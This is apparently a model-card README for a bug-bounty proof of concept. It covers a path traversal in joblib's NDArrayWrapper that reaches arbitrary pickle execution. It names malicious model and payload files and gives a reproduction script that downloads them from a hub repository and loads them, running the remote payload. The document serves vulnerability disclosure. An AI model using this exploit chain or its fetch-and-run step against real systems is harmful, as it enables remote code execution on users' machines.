| --- |
| license: mit |
| tags: |
| - security |
| - poc |
| --- |
| # joblib NDArrayWrapper Path Traversal PoC |
|
|
| Security research PoC for huntr MFV submission. |
|
|
| **Vulnerability:** `NDArrayWrapper.read()` in `joblib/numpy_pickle_compat.py` uses an unsanitized |
| `self.filename` field (from inside the pickle) in `os.path.join()`, then calls |
| `numpy.load(filename, allow_pickle=True)` — enabling path traversal to arbitrary pickle execution. |
|
|
| **Affected version:** joblib 1.5.3 (latest) |
|
|
| ## Files |
| - `evil.joblib` — malicious model file (NDArrayWrapper with `filename="../payload.npy"`) |
| - `payload.npy` — stage-2 RCE pickle (place one directory above evil.joblib) |
|
|
| ## Reproduction |
| ```bash |
| pip3 install joblib==1.5.3 numpy |
| python3 -c " |
| import os, joblib |
| from huggingface_hub import hf_hub_download |
| os.makedirs('/tmp/poc_model', exist_ok=True) |
| hf_hub_download('th3-j0k3r/joblib-ndarray-poc', 'payload.npy', local_dir='/tmp') |
| hf_hub_download('th3-j0k3r/joblib-ndarray-poc', 'evil.joblib', local_dir='/tmp/poc_model') |
| try: joblib.load('/tmp/poc_model/evil.joblib') |
| except: pass |
| print(open('/tmp/jl_rce_proof.txt').read().strip()) |
| " |
| ``` |
|
|
